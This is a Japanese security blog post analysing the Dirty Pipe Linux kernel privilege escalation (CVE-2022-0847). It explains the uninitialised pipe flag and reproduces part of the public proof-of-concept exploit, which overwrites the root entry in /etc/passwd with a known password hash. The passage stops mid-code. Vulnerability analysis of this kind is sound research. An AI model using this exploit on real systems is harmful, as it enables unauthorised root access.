
CVE-2022-0847(DirtyPipe)の詳細な分析と概念実証エクスプロイト。初期化されていないパイプバッファフラグを介して任意のファイル上書きとローカル権限昇格を可能にするLinuxカーネルの脆弱性です。
title: CVE-2022-0847(DirtyPipe ローカル権限昇格)脆弱性分析 date: 2022-03-08 14:41:20 tags: - Linux権限昇格 categories: - セキュリティ研究
CVE-2022-0847は、5.8以降のLinuxカーネルに存在する脆弱性です。攻撃者はこの脆弱性を利用して、任意の読み取り専用ファイル内のデータを上書きできます。非特権プロセスがルートプロセスにコードを注入できるため、通常の権限をroot権限に昇格させることができます。
CVE-2022-0847はCVE-2016-5195 “Dirty Cow”(Dirty Cow 権限昇格)に類似しており、容易に悪用されます。脆弱性の作者はこれをDirty Pipeと名付けました。
このブログは主に、関連するセキュリティインシデントや脆弱性に関する記事を学習・記録するためのものであり、皆さんの学習交流やテストに供するものです。このブログ記事が提供する情報やツールの伝播・利用によって生じたいかなる直接的・間接的な結果や損害についても、利用者本人が責任を負うものとし、記事の作者は一切の責任を負いません。
**危険度:**高
**POC/EXP:**公開済み
影響バージョン:linux カーネル 5.8 以降のバージョン
注:安全なバージョン: Linux カーネル >= 5.16.11、Linux カーネル >= 5.15.25、Linux カーネル >= 5.10.102
ここでは脆弱性の詳細を簡単に紹介します。
いくつかの概念:
Linux pipe:半二重であり、データフローは一方の端からもう一方の端にのみ流れます。
pipe_buffer:パイプキャッシュであり、パイプに書き込まれたデータを一時的に格納します。読み書きはすべてパイプキャッシュで行われます。
page:ページフレームであり、4KB です。パイプキャッシュとは 1 対 1 の関係にあります。
pipe_buf_operations:パイプキャッシュ操作セットを格納するために使用されます。
can_merge:マージフラグです。汎用パイプの読み書きが既存バッファへのデータマージを許可する場合は 1 に設定されます。0 に設定されている場合、新しいパイプページセグメントは常に新しいデータに使用されます。
splice():2つのファイルディスクリプタ間でデータを移動します。sendfile() 関数と同様に、パイプをサポートし、ゼロコピーです。ファイルのページキャッシュとパイプキャッシュをバインドするため、書き込み時に同時に影響を与えます。権限チェックでは、データ送信元ファイルに読み取り権限があるかどうかのみをチェックし、書き込み時には権限チェックは行われません。おおよその呼び出しチェーンは次のとおりです:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

Linuxパイプ「マージ」検出の歴史:
ここでは作者の説明に基づいてコードを簡単に分析します。
最初の Linux システムは、概念説明と同じく can_merge フラグを持ち、新しいデータを現在存在するパイプキャッシュに書き込めるかどうかをマークするために使われていました。
Commit 5274f052e7b3 は splice() 関数を追加しましたが、検証は変わらず、can_merge フラグに基づいて現在のパイプキャッシュが使用可能かどうかを判断していました。


Commit 01e7187b4119 は can_merge フラグの使用をやめ、struct pipe_buf_operations ポインタを比較するようになりました。すなわち、anon_pipe_buf_ops タイプのみが新しいデータの書き込みを許可するため、そのタイプかどうかを検証するだけでよくなりました。


Commit 241699cd72a8 は 2 つの新しい関数を追加し、新しい struct pipe_buf_operations を割り当てることができますが、その flags フラグを初期化しませんでした。

Commit f6dd975583bd はこのポインタ比較を、各バッファのフラグ PIPE_BUF_FLAG_CAN_MERGE の比較に変換し、PIPE_BUF_FLAG_CAN_MERGE を注入できるようにしました。同時に、他のタイプの buf_ops の定義と使用を廃止しました。



したがって、作者は以下の利用手順を考えました。
pipe_buffer の PIPE_BUF_FLAG_CAN_MERGE フラグを設定するsplice はパイプキャッシュとページキャッシュをバインドする。write は最終的に copy_page_from_iter() を呼び出して書き込みを実現する。PIPE_BUF_FLAG_CAN_MERGE フラグがあるため、直接書き込みが完了する。Exp の解析
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // 创建p[0]和p[1]分别指向管道两端。前者读,后者写
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // 获取管道大小
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { // 清空管道,但是保留标志位
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd"; // 定义目标文件路径
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); // 创建/tmp/passwd.bak备份
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) { // 判断文件读写是否正常打开
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF) // 逐字节写入
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root" // 定义偏移,即覆盖目标位置为root字段之后
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron // 定义覆盖的数据
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) { // 判断写入位置是否在页边界上
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}